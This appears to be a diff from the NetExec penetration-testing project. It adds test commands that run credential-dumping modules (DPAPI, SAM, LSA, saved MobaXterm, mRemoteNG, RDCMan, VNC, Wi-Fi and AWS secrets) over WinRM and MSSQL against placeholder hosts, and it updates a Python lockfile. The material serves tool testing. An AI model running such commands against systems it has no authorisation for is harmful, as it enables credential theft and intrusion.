netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### MSSQL
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
@@ -292,6 +305,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
##### MSSQL PowerShell
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
|
||||
@@ -320,6 +334,14 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### RDP
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
|
||||
@@ -746,17 +746,19 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "3.2.2"
|
||||
version = "4.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography" },
|
||||
{ name = "impacket" },
|
||||
{ name = "lxml" },
|
||||
{ name = "pick" },
|
||||
{ name = "pyasn1" },
|
||||
{ name = "pypsrp" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -932,8 +934,8 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260814.164800.c23b3d55"
|
||||
source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" }
|
||||
version = "0.14.0.dev0+20260909.31915.a2d35007"
|
||||
source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" }
|
||||
dependencies = [
|
||||
{ name = "charset-normalizer" },
|
||||
{ name = "flask" },
|
||||
@@ -1410,7 +1412,7 @@ requires-dist = [
|
||||
{ name = "certihound", specifier = ">=0.1.1" },
|
||||
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
|
||||
{ name = "cryptography", specifier = ">=42.0.8" },
|
||||
{ name = "dploot", specifier = ">=3.2.2,<4.0.0" },
|
||||
{ name = "dploot", specifier = ">=4.0.0" },
|
||||
{ name = "dsinternals", specifier = ">=1.2.4" },
|
||||
{ name = "impacket", git = "https://github.com/fortra/impacket" },
|
||||
{ name = "jwt", specifier = ">=1.3.1" },
|
||||
@@ -1495,6 +1497,18 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
@@ -2373,6 +2387,23 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
|
||||
Reference in new issue
Block a user